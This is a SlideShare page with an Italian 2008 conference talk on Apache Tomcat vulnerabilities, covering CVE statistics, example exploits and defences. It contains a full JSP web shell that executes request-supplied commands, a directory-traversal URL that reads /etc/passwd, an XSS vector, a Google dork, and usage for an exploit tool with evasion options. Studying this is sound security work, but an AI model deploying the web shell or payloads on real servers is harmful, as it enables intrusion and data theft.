SlideShare uma empresa Scribd logo
1 de 23
Baixar para ler offline
Vulnerabilità in
Apache Tomcat
L’evoluzione della specie

                       …il mondo della
                       sicurezza è una
                           giungla!

                         SMAU 2008
Di cosa parliamo oggi...
 • Quali sono le principali vulnerabilità
   scoperte in Apache Tomcat
 • Come sfruttare queste debolezze, dal
   punto di vista dell'aggressore
 • Quali vulnerabilità ci dobbiamo aspettare
   nel futuro prossimo

 • Attualmente lavoro come pentester in
   una grande banca internazionale
 • Ricerco vulnerabilità for fun (and profit)
 • Mi interesso di web application security
   ed ethical hacking
 • Sono membro della comunita’ OWASP
   btw: partecipate al capitolo Italiano :)
 • luca.carettoni[at]ikkisoft[dot]com
Security in depth




         Application Security


          Web Server Security


           Database Security


        Operating System Security


            Network Security


           Physical Security
Apache
        Tomcat
• Apache Tomcat è un moderno Servlet
  container sviluppato dall'Apache
  Software Foundation
• http://tomcat.apache.org/
• Pure 100% Java Application Server
• Open Source, facile da installare,
  abbastanza performante...quindi,
  praticamente perfetto ? Non proprio
• Implementa diverse versioni delle
  tecnologie Java Servlet e Java Server
  Pages (JSP)
   Servlet/JSP Specification   Apache Tomcat version
            2.5/2.1                    6.0.18
            2.4/2.0                    5.5.26
            2.3/1.2                    4.1.37
            2.2/1.1              3.3.2 (deprecata)
Powered by Apache Tomcat
 • E' stato scaricato più di 10 milioni di volte.
   Ipotizziamo che solamente l'1% di questi
   download ha portato all'utilizzo in produzione,
   il risultato è assolutamente sconvolgente
 • Parliamo di più di 100000 installazioni

 • Largamente utilizzato da numerose
   organizzazioni e società: WalMart, O'Reilly On
   Java, JBOSS ed il portale Italiano
   VolareGratis.com
 • Si stima che circa la metà della global
   Fortune 500 utilizzi in una qualche
   installazione Tomcat e derivati

 • Date un occhio alla popolarità del sito:
   http://people.apache.org/~vgritsenko/stats/project
   s/tomcat.html
Tomcat in the wild...
 • Google dork:
 12,600 for intitle:quot;Directory Listing
   For /quot; + inurl:tomcat-docs tomcat
Tactical Exploiting 1/3
 • Spesso l'aggressore non deve nemmeno
   sfruttare vulnerabilità
 • Sono gli amministratori che lasciano
   accessibile una risorsa preziosa

 • Default Manager Console
   http://x.x.x.x:8080/manager/html
 • LambdaProbe Console
   http://x.x.x.x:9099/probe/

 • Spesso esposta
 • Spesso protetta da password non robuste
 • Per la mia esperienza, troppo spesso !
Tactical Exploiting 2/3
Tactical Exploiting 3/3

 • Oltre ad ottenere informazioni sulla
   configurazione e sullo stato dei sistemi,
   un aggressore può alterare le
   configurazioni e compromettere
   l'ambiente di fruizione !
 • Vediamo, in breve, come:




   <%@ page import=quot;java.io.*quot; %><%try {     Runtime rt = Runtime.getRuntime();     String
   cmd = request.getParameter(quot;cmdquot;);     Process ps = rt.exec(cmd);     BufferedReader
   outReader = new BufferedReader(new InputStreamReader( ps.getInputStream()));
   BufferedReader errReader = new BufferedReader(new
   InputStreamReader( ps.getErrorStream()));     String outLine = null;     String errLine
   = null;    out.println(quot;<pre>quot;);    while ((outLine = outReader.readLine()) != null
   || (errLine = errReader.readLine()) != null) {       if (outLine != null)
   out.println(quot;out: quot; + outLine);       if (errLine != null)           out.println(quot;err:
   quot; + errLine);    }    out.println(quot;</pre>quot;);     outReader.close();
   errReader.close(); } catch (Exception ex) {       out.println(quot;Exception message. Some
   problem?!?quot;);    ex.printStackTrace(); }%>
Apache Tomcat - Cronologia

 • La code base iniziale e' stata donata da Sun
   all' Apache Software Foundation nel 1999
 • La prima versione ufficiale è stata la v3.0

                                4.1.31                       4.1.36
   4.x
                   5.0.0       5.0.28
                                  5.0.30
    5.0.x
                                               5.5.12 5.5.17
                                5.5.0 5.5.4 5.5.9     5.5.16 5.5.23
                                 5.5.1     5.5.7    5.5.15 5.5.20 5.5.25 5.5.26
    5.5.x
                                                                 6.0.14
                                                               6.0.13    6.0.18
                                                     6.0.0    6.0.10    6.0.16
    6.x

            2002      2003   2004   2005      2006      2007          2008


 La versione attuale è la 6.0.18 (ad oggi, 18/10/08)
                                                   Fonte: en.wikipedia.org
Vulnerabilità in Tomcat 1/2

 • #81 Vulnerabilità segnalate
 • #44 CVE (vulnerabilità univoche)

 • Vulnerabilità per versione:
    Apache Tomcat JK Connectors: #3 CVE
    Apache Tomcat 4.x: #35 CVE
    Apache Tomcat 5.x: #24 CVE
    Apache Tomcat 6.x: #19 CVE



 Source: http://tomcat.apache.org/security.html (11 September 2008)
Vulnerabilità in Tomcat 2/2

      CVE-2001-0917           CVE-2006-7195           CVE-2008-0002
      CVE-2002-0493           CVE-2006-7196           CVE-2008-0128
      CVE-2002-0682           CVE-2006-7197           CVE-2008-1232
      CVE-2002-0935           CVE-2007-0450           CVE-2008-1947
      CVE-2002-1148           CVE-2007-0774           CVE-2008-2370
      CVE-2002-1394           CVE-2007-1355           CVE-2008-2938
      CVE-2002-1567           CVE-2007-1358
      CVE-2002-1895           CVE-2007-1858
      CVE-2002-2006           CVE-2007-1860
      CVE-2002-2008           CVE-2007-2449
      CVE-2002-2009           CVE-2007-2450
      CVE-2003-0866           CVE-2007-3382
      CVE-2005-2090           CVE-2007-3383
      CVE-2005-3164           CVE-2007-3385
      CVE-2005-3510           CVE-2007-3386
      CVE-2005-4703           CVE-2007-5333
      CVE-2005-4836           CVE-2007-5342
      CVE-2005-4838           CVE-2007-5461
      CVE-2006-3835           CVE-2007-6286




   Source: http://tomcat.apache.org/security.html (11 September 2008)
Vulnerabilità per anno
  18



  16



  14



  12



  10


                                                        CVEs
   8



   6



   4



   2



   0
       2001   2002   2003   2005   2006   2007   2008
Vulnerabilità per severità




                                            Low
                                            High
                                            Medium




 • Low: Info Disclosure, Denial of Service
 • Medium: Sensitive Info Disclosure, Cross
   Site Scripting, Session Hijacking
 • High: Directory Traversal, Lettura/Scrittura
   File Arbitrari, Esecuzione di Codice Arbitrario
Qualche esempio…
CVE-2008-2938

•   Directory Traversal Vulnerability
•   Author: Simon Ryeo
•   Severity: High
•   Version Affected: 6.0-6.0.16, 5.5-5.5.26, 4.1.x
•   Exploit Proof-of-concept:
    http://www.example.com/%c0%ae%c0%ae/%c0%ae
    %c0%ae/%c0%ae%c0%ae/etc/passwd
•   Note: context.xml oppure server.xml deve
    permettere allowLinking e URIencoding come “UTF-
    8”.

    UTF-8 Encoding
    2 bytes, 11bits, 110bbbbb 10bbbbbb
    %c0%ae = “.”
    %c0%af = “/”
CVE-2007-2449

•   Multiple Cross Site Scripting (XSS)
•   Author: Unknown (reported to JPCERT)
•   Severity: Medium
•   Version Affected: 6.0-6.0.13, 5.0-5.0.30, 5.5-
    5.5.24, 4.0-4.0.6, 4.1-4.1.36
•   Exploit Proof-of-concept:
    http://www.example.com/jsp-
    examples/snp/snoop.jsp;[xss]
•   Note: Nessun tipo di validazione. Il classico vettore
    di attacco <script>alert(123);</script> viene
    correttamente inoltrato
CVE-2006-3835

•   Directory Listing Vulnerability
•   Author: ScanAlert.s Enterprise Services Team
•   Severity: Medium
•   Version Affected: 5.0-5.0.30, 5.5-5.5.12, 4.0-
    4.0.6, 4.1-4.1.31
•   Exploit Proof-of-concept:
    http://www.example.com/;index.jsp
    http://www.example.com/help/;help.do
•   Note: Vulnerabile invocando qualsiasi risorsa
    (estensione) valida, anche se non esistente,
    preceduta da un punto e virgola
Tomcat ZOO
The «all-in-one» exploit
 •      Pentesting tool, specifico per verificare
        vulnerabilità note di Apache Tomcat
 •      Sviluppato in PHP (richiede solo –enable-cli)
 •      Rilasciato GPL v2
 •      Attualmente copre il 27% dei CVE per Tomcat:
 *   CVE-2008-2938   *   CVE-2006-3835   *   CVE-2007-3385
 *   CVE-2008-2370   *   CVE-2006-7196   *   CVE-2007-3386
 *   CVE-2008-1947   *   CVE-2007-2449   *   CVE-2007-5333
 *   CVE-2008-1232   *   CVE-2007-3382   *   CVE-2007-5461


 ---------------[ Script Options (basic) ]------------------

 Usage:php TomcatZOO.php host port proxy
 host:      target server
 port:      the web port, usually 8080
 proxy:     use a proxy defined as IP:PORT:USER:PASS (optional)

 Example:
 php TomcatZOO.php www.example.com 8080
 php TomcatZOO.php www.example.com 80 127.0.0.1:1234::
 php TomcatZOO.php www.example.com 80 127.0.0.1:8080:ikki:pass
Tomcat ZOO
The «all-in-one» exploit

  Caratteristiche avanzate:
  
      Supporto HTTP (senza l'uso di libcurl)
  
      Supporto Proxy
  
      Opzione di debug
  
      Personalizzazione User-Agent
  
      Primitive tecniche di evasione
       1: fake HTTP GET/POST parameters
        2: random case sensitivity
        3: Windows directory separator  instead of /
        4: URL encoding applied to URI, HTTP pars and header


  ToDo:
  
      Supporto HTTPS (per ora utilizzate l'ottimo
      www.stunnel.org. Thx Michal!)
  
      Coprire la globalità delle vulnerabilità di Tomcat
      analizzabili durante black box testing
Tomcat ZOO
The «all-in-one» exploit




 •   Disponibile prossimamente (entro fine anno)
 •   Lo troverete qui:
     http://www.ikkisoft.com/tomcatzoo/
 •   E' un tool per ethical hacking !
E nel futuro...
• Ancora problematiche di validazione dell'input,
  sebbene il codice si sta stabilizzando
• Sicuramente ancora Denial of Service, considerando la
  numerosità e la complessità dei componenti
• Sicuramente ancora Cross-Site Scripting
• (Tendenzialmente) nessun buffer overflow.
  I componenti non sviluppati in Java sono limitati

• Come difenderci quindi?
• Reattività: mantenersi aggiornati e preparare già ora
  un ambiente di test dove provare le future release,
  prima della messa in produzione. Estote Parati !
• Online patching: Application firewall e simili, pronti
  per essere configurati ad-hoc appena viene rilasciata
  una nuova vulnerabilità
Contatti, Domande


• Grazie dell'attenzione! Domande ?!?



Luca Carettoni
luca.carettoni[at]ikkisoft[dot]com
http://www.ikkisoft.com

Mais conteúdo relacionado

Semelhante a SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Virtually Pwned: Hacking VMware [ITA - SMAU10]
Virtually Pwned: Hacking VMware [ITA - SMAU10]Virtually Pwned: Hacking VMware [ITA - SMAU10]
Virtually Pwned: Hacking VMware [ITA - SMAU10]Claudio Criscione
 
Web Application Security: Bug Hunting e Code Review
Web Application Security: Bug Hunting e Code ReviewWeb Application Security: Bug Hunting e Code Review
Web Application Security: Bug Hunting e Code ReviewAntonio Parata
 
Meetmagento 2014 hackers_onofri
Meetmagento 2014 hackers_onofriMeetmagento 2014 hackers_onofri
Meetmagento 2014 hackers_onofriSimone Onofri
 
Javaday 2009 php e java
Javaday 2009 php e javaJavaday 2009 php e java
Javaday 2009 php e javaMatteo Baccan
 
Monitoraggio della rete con cacti
Monitoraggio della rete con cactiMonitoraggio della rete con cacti
Monitoraggio della rete con cactidalegiuseppe
 
Malware Analysis. A Case Study
Malware Analysis. A Case StudyMalware Analysis. A Case Study
Malware Analysis. A Case StudyGianni Amato
 
javaday 2006 - Tiger
javaday 2006 - Tigerjavaday 2006 - Tiger
javaday 2006 - TigerMatteo Baccan
 
L'architettura di Stack Overflow - Mario Cecconi - Codemotion Milan 2014
L'architettura di Stack Overflow - Mario Cecconi - Codemotion Milan 2014L'architettura di Stack Overflow - Mario Cecconi - Codemotion Milan 2014
L'architettura di Stack Overflow - Mario Cecconi - Codemotion Milan 2014Codemotion
 
Come sviluppare applicazioni cross device con HTML
Come sviluppare applicazioni cross device con HTMLCome sviluppare applicazioni cross device con HTML
Come sviluppare applicazioni cross device con HTMLSinergia Totale
 
Phpday 2009 php e java
Phpday 2009 php e javaPhpday 2009 php e java
Phpday 2009 php e javaMatteo Baccan
 
Gli HTTP Security Header e altri elementi da sapere su HTTP in un Web Applica...
Gli HTTP Security Header e altri elementi da sapere su HTTP in un Web Applica...Gli HTTP Security Header e altri elementi da sapere su HTTP in un Web Applica...
Gli HTTP Security Header e altri elementi da sapere su HTTP in un Web Applica...Simone Onofri
 
Internet Forensics
Internet ForensicsInternet Forensics
Internet ForensicsGianni Amato
 
Snort React per Webfiltering : "Soluzioni per le Leggi-Lista"
Snort React per Webfiltering : "Soluzioni per le Leggi-Lista"Snort React per Webfiltering : "Soluzioni per le Leggi-Lista"
Snort React per Webfiltering : "Soluzioni per le Leggi-Lista"Camelug Fava
 
Hackers vs. Developers: HTML5 Security by Simone Onofri
Hackers vs. Developers: HTML5 Security by Simone OnofriHackers vs. Developers: HTML5 Security by Simone Onofri
Hackers vs. Developers: HTML5 Security by Simone OnofriCodemotion
 
Liferay SSL/TLS Security. Come configurare il bundle Liferay per abilitare il...
Liferay SSL/TLS Security. Come configurare il bundle Liferay per abilitare il...Liferay SSL/TLS Security. Come configurare il bundle Liferay per abilitare il...
Liferay SSL/TLS Security. Come configurare il bundle Liferay per abilitare il...Antonio Musarra
 
Marco Arena - Perché nel 2015 parliamo ancora di C++? | Codemotion Milan 2015
Marco Arena - Perché nel 2015 parliamo ancora di C++? | Codemotion Milan 2015Marco Arena - Perché nel 2015 parliamo ancora di C++? | Codemotion Milan 2015
Marco Arena - Perché nel 2015 parliamo ancora di C++? | Codemotion Milan 2015Codemotion
 

Semelhante a SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie" (20)

Virtually Pwned: Hacking VMware [ITA - SMAU10]
Virtually Pwned: Hacking VMware [ITA - SMAU10]Virtually Pwned: Hacking VMware [ITA - SMAU10]
Virtually Pwned: Hacking VMware [ITA - SMAU10]
 
Web Application Security: Bug Hunting e Code Review
Web Application Security: Bug Hunting e Code ReviewWeb Application Security: Bug Hunting e Code Review
Web Application Security: Bug Hunting e Code Review
 
Meetmagento 2014 hackers_onofri
Meetmagento 2014 hackers_onofriMeetmagento 2014 hackers_onofri
Meetmagento 2014 hackers_onofri
 
Javaday 2009 php e java
Javaday 2009 php e javaJavaday 2009 php e java
Javaday 2009 php e java
 
Monitoraggio della rete con cacti
Monitoraggio della rete con cactiMonitoraggio della rete con cacti
Monitoraggio della rete con cacti
 
Malware Analysis. A Case Study
Malware Analysis. A Case StudyMalware Analysis. A Case Study
Malware Analysis. A Case Study
 
Owasp parte3
Owasp parte3Owasp parte3
Owasp parte3
 
javaday 2006 - Tiger
javaday 2006 - Tigerjavaday 2006 - Tiger
javaday 2006 - Tiger
 
L'architettura di Stack Overflow - Mario Cecconi - Codemotion Milan 2014
L'architettura di Stack Overflow - Mario Cecconi - Codemotion Milan 2014L'architettura di Stack Overflow - Mario Cecconi - Codemotion Milan 2014
L'architettura di Stack Overflow - Mario Cecconi - Codemotion Milan 2014
 
Come sviluppare applicazioni cross device con HTML
Come sviluppare applicazioni cross device con HTMLCome sviluppare applicazioni cross device con HTML
Come sviluppare applicazioni cross device con HTML
 
Phpday 2009 php e java
Phpday 2009 php e javaPhpday 2009 php e java
Phpday 2009 php e java
 
Gli HTTP Security Header e altri elementi da sapere su HTTP in un Web Applica...
Gli HTTP Security Header e altri elementi da sapere su HTTP in un Web Applica...Gli HTTP Security Header e altri elementi da sapere su HTTP in un Web Applica...
Gli HTTP Security Header e altri elementi da sapere su HTTP in un Web Applica...
 
TuxIsAlive
TuxIsAliveTuxIsAlive
TuxIsAlive
 
Internet Forensics
Internet ForensicsInternet Forensics
Internet Forensics
 
Riccardo Govoni - Search
Riccardo Govoni - SearchRiccardo Govoni - Search
Riccardo Govoni - Search
 
Snort React per Webfiltering : "Soluzioni per le Leggi-Lista"
Snort React per Webfiltering : "Soluzioni per le Leggi-Lista"Snort React per Webfiltering : "Soluzioni per le Leggi-Lista"
Snort React per Webfiltering : "Soluzioni per le Leggi-Lista"
 
Hackers vs. Developers: HTML5 Security by Simone Onofri
Hackers vs. Developers: HTML5 Security by Simone OnofriHackers vs. Developers: HTML5 Security by Simone Onofri
Hackers vs. Developers: HTML5 Security by Simone Onofri
 
HTML5 Security
HTML5 SecurityHTML5 Security
HTML5 Security
 
Liferay SSL/TLS Security. Come configurare il bundle Liferay per abilitare il...
Liferay SSL/TLS Security. Come configurare il bundle Liferay per abilitare il...Liferay SSL/TLS Security. Come configurare il bundle Liferay per abilitare il...
Liferay SSL/TLS Security. Come configurare il bundle Liferay per abilitare il...
 
Marco Arena - Perché nel 2015 parliamo ancora di C++? | Codemotion Milan 2015
Marco Arena - Perché nel 2015 parliamo ancora di C++? | Codemotion Milan 2015Marco Arena - Perché nel 2015 parliamo ancora di C++? | Codemotion Milan 2015
Marco Arena - Perché nel 2015 parliamo ancora di C++? | Codemotion Milan 2015
 

SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

  • 1. Vulnerabilità in Apache Tomcat L’evoluzione della specie …il mondo della sicurezza è una giungla! SMAU 2008
  • 2. Di cosa parliamo oggi... • Quali sono le principali vulnerabilità scoperte in Apache Tomcat • Come sfruttare queste debolezze, dal punto di vista dell'aggressore • Quali vulnerabilità ci dobbiamo aspettare nel futuro prossimo • Attualmente lavoro come pentester in una grande banca internazionale • Ricerco vulnerabilità for fun (and profit) • Mi interesso di web application security ed ethical hacking • Sono membro della comunita’ OWASP btw: partecipate al capitolo Italiano :) • luca.carettoni[at]ikkisoft[dot]com
  • 3. Security in depth Application Security Web Server Security Database Security Operating System Security Network Security Physical Security
  • 4. Apache Tomcat • Apache Tomcat è un moderno Servlet container sviluppato dall'Apache Software Foundation • http://tomcat.apache.org/ • Pure 100% Java Application Server • Open Source, facile da installare, abbastanza performante...quindi, praticamente perfetto ? Non proprio • Implementa diverse versioni delle tecnologie Java Servlet e Java Server Pages (JSP) Servlet/JSP Specification Apache Tomcat version 2.5/2.1 6.0.18 2.4/2.0 5.5.26 2.3/1.2 4.1.37 2.2/1.1 3.3.2 (deprecata)
  • 5. Powered by Apache Tomcat • E' stato scaricato più di 10 milioni di volte. Ipotizziamo che solamente l'1% di questi download ha portato all'utilizzo in produzione, il risultato è assolutamente sconvolgente • Parliamo di più di 100000 installazioni • Largamente utilizzato da numerose organizzazioni e società: WalMart, O'Reilly On Java, JBOSS ed il portale Italiano VolareGratis.com • Si stima che circa la metà della global Fortune 500 utilizzi in una qualche installazione Tomcat e derivati • Date un occhio alla popolarità del sito: http://people.apache.org/~vgritsenko/stats/project s/tomcat.html
  • 6. Tomcat in the wild... • Google dork: 12,600 for intitle:quot;Directory Listing For /quot; + inurl:tomcat-docs tomcat
  • 7. Tactical Exploiting 1/3 • Spesso l'aggressore non deve nemmeno sfruttare vulnerabilità • Sono gli amministratori che lasciano accessibile una risorsa preziosa • Default Manager Console http://x.x.x.x:8080/manager/html • LambdaProbe Console http://x.x.x.x:9099/probe/ • Spesso esposta • Spesso protetta da password non robuste • Per la mia esperienza, troppo spesso !
  • 9. Tactical Exploiting 3/3 • Oltre ad ottenere informazioni sulla configurazione e sullo stato dei sistemi, un aggressore può alterare le configurazioni e compromettere l'ambiente di fruizione ! • Vediamo, in breve, come: <%@ page import=quot;java.io.*quot; %><%try { Runtime rt = Runtime.getRuntime(); String cmd = request.getParameter(quot;cmdquot;); Process ps = rt.exec(cmd); BufferedReader outReader = new BufferedReader(new InputStreamReader( ps.getInputStream())); BufferedReader errReader = new BufferedReader(new InputStreamReader( ps.getErrorStream())); String outLine = null; String errLine = null; out.println(quot;<pre>quot;); while ((outLine = outReader.readLine()) != null || (errLine = errReader.readLine()) != null) { if (outLine != null) out.println(quot;out: quot; + outLine); if (errLine != null) out.println(quot;err: quot; + errLine); } out.println(quot;</pre>quot;); outReader.close(); errReader.close(); } catch (Exception ex) { out.println(quot;Exception message. Some problem?!?quot;); ex.printStackTrace(); }%>
  • 10. Apache Tomcat - Cronologia • La code base iniziale e' stata donata da Sun all' Apache Software Foundation nel 1999 • La prima versione ufficiale è stata la v3.0 4.1.31 4.1.36 4.x 5.0.0 5.0.28 5.0.30 5.0.x 5.5.12 5.5.17 5.5.0 5.5.4 5.5.9 5.5.16 5.5.23 5.5.1 5.5.7 5.5.15 5.5.20 5.5.25 5.5.26 5.5.x 6.0.14 6.0.13 6.0.18 6.0.0 6.0.10 6.0.16 6.x 2002 2003 2004 2005 2006 2007 2008 La versione attuale è la 6.0.18 (ad oggi, 18/10/08) Fonte: en.wikipedia.org
  • 11. Vulnerabilità in Tomcat 1/2 • #81 Vulnerabilità segnalate • #44 CVE (vulnerabilità univoche) • Vulnerabilità per versione: Apache Tomcat JK Connectors: #3 CVE Apache Tomcat 4.x: #35 CVE Apache Tomcat 5.x: #24 CVE Apache Tomcat 6.x: #19 CVE Source: http://tomcat.apache.org/security.html (11 September 2008)
  • 12. Vulnerabilità in Tomcat 2/2  CVE-2001-0917  CVE-2006-7195  CVE-2008-0002  CVE-2002-0493  CVE-2006-7196  CVE-2008-0128  CVE-2002-0682  CVE-2006-7197  CVE-2008-1232  CVE-2002-0935  CVE-2007-0450  CVE-2008-1947  CVE-2002-1148  CVE-2007-0774  CVE-2008-2370  CVE-2002-1394  CVE-2007-1355  CVE-2008-2938  CVE-2002-1567  CVE-2007-1358  CVE-2002-1895  CVE-2007-1858  CVE-2002-2006  CVE-2007-1860  CVE-2002-2008  CVE-2007-2449  CVE-2002-2009  CVE-2007-2450  CVE-2003-0866  CVE-2007-3382  CVE-2005-2090  CVE-2007-3383  CVE-2005-3164  CVE-2007-3385  CVE-2005-3510  CVE-2007-3386  CVE-2005-4703  CVE-2007-5333  CVE-2005-4836  CVE-2007-5342  CVE-2005-4838  CVE-2007-5461  CVE-2006-3835  CVE-2007-6286 Source: http://tomcat.apache.org/security.html (11 September 2008)
  • 13. Vulnerabilità per anno 18 16 14 12 10 CVEs 8 6 4 2 0 2001 2002 2003 2005 2006 2007 2008
  • 14. Vulnerabilità per severità Low High Medium • Low: Info Disclosure, Denial of Service • Medium: Sensitive Info Disclosure, Cross Site Scripting, Session Hijacking • High: Directory Traversal, Lettura/Scrittura File Arbitrari, Esecuzione di Codice Arbitrario
  • 16. CVE-2008-2938 • Directory Traversal Vulnerability • Author: Simon Ryeo • Severity: High • Version Affected: 6.0-6.0.16, 5.5-5.5.26, 4.1.x • Exploit Proof-of-concept: http://www.example.com/%c0%ae%c0%ae/%c0%ae %c0%ae/%c0%ae%c0%ae/etc/passwd • Note: context.xml oppure server.xml deve permettere allowLinking e URIencoding come “UTF- 8”. UTF-8 Encoding 2 bytes, 11bits, 110bbbbb 10bbbbbb %c0%ae = “.” %c0%af = “/”
  • 17. CVE-2007-2449 • Multiple Cross Site Scripting (XSS) • Author: Unknown (reported to JPCERT) • Severity: Medium • Version Affected: 6.0-6.0.13, 5.0-5.0.30, 5.5- 5.5.24, 4.0-4.0.6, 4.1-4.1.36 • Exploit Proof-of-concept: http://www.example.com/jsp- examples/snp/snoop.jsp;[xss] • Note: Nessun tipo di validazione. Il classico vettore di attacco <script>alert(123);</script> viene correttamente inoltrato
  • 18. CVE-2006-3835 • Directory Listing Vulnerability • Author: ScanAlert.s Enterprise Services Team • Severity: Medium • Version Affected: 5.0-5.0.30, 5.5-5.5.12, 4.0- 4.0.6, 4.1-4.1.31 • Exploit Proof-of-concept: http://www.example.com/;index.jsp http://www.example.com/help/;help.do • Note: Vulnerabile invocando qualsiasi risorsa (estensione) valida, anche se non esistente, preceduta da un punto e virgola
  • 19. Tomcat ZOO The «all-in-one» exploit • Pentesting tool, specifico per verificare vulnerabilità note di Apache Tomcat • Sviluppato in PHP (richiede solo –enable-cli) • Rilasciato GPL v2 • Attualmente copre il 27% dei CVE per Tomcat: * CVE-2008-2938 * CVE-2006-3835 * CVE-2007-3385 * CVE-2008-2370 * CVE-2006-7196 * CVE-2007-3386 * CVE-2008-1947 * CVE-2007-2449 * CVE-2007-5333 * CVE-2008-1232 * CVE-2007-3382 * CVE-2007-5461 ---------------[ Script Options (basic) ]------------------ Usage:php TomcatZOO.php host port proxy host: target server port: the web port, usually 8080 proxy: use a proxy defined as IP:PORT:USER:PASS (optional) Example: php TomcatZOO.php www.example.com 8080 php TomcatZOO.php www.example.com 80 127.0.0.1:1234:: php TomcatZOO.php www.example.com 80 127.0.0.1:8080:ikki:pass
  • 20. Tomcat ZOO The «all-in-one» exploit Caratteristiche avanzate:  Supporto HTTP (senza l'uso di libcurl)  Supporto Proxy  Opzione di debug  Personalizzazione User-Agent  Primitive tecniche di evasione 1: fake HTTP GET/POST parameters 2: random case sensitivity 3: Windows directory separator instead of / 4: URL encoding applied to URI, HTTP pars and header ToDo:  Supporto HTTPS (per ora utilizzate l'ottimo www.stunnel.org. Thx Michal!)  Coprire la globalità delle vulnerabilità di Tomcat analizzabili durante black box testing
  • 21. Tomcat ZOO The «all-in-one» exploit • Disponibile prossimamente (entro fine anno) • Lo troverete qui: http://www.ikkisoft.com/tomcatzoo/ • E' un tool per ethical hacking !
  • 22. E nel futuro... • Ancora problematiche di validazione dell'input, sebbene il codice si sta stabilizzando • Sicuramente ancora Denial of Service, considerando la numerosità e la complessità dei componenti • Sicuramente ancora Cross-Site Scripting • (Tendenzialmente) nessun buffer overflow. I componenti non sviluppati in Java sono limitati • Come difenderci quindi? • Reattività: mantenersi aggiornati e preparare già ora un ambiente di test dove provare le future release, prima della messa in produzione. Estote Parati ! • Online patching: Application firewall e simili, pronti per essere configurati ad-hoc appena viene rilasciata una nuova vulnerabilità
  • 23. Contatti, Domande • Grazie dell'attenzione! Domande ?!? Luca Carettoni luca.carettoni[at]ikkisoft[dot]com http://www.ikkisoft.com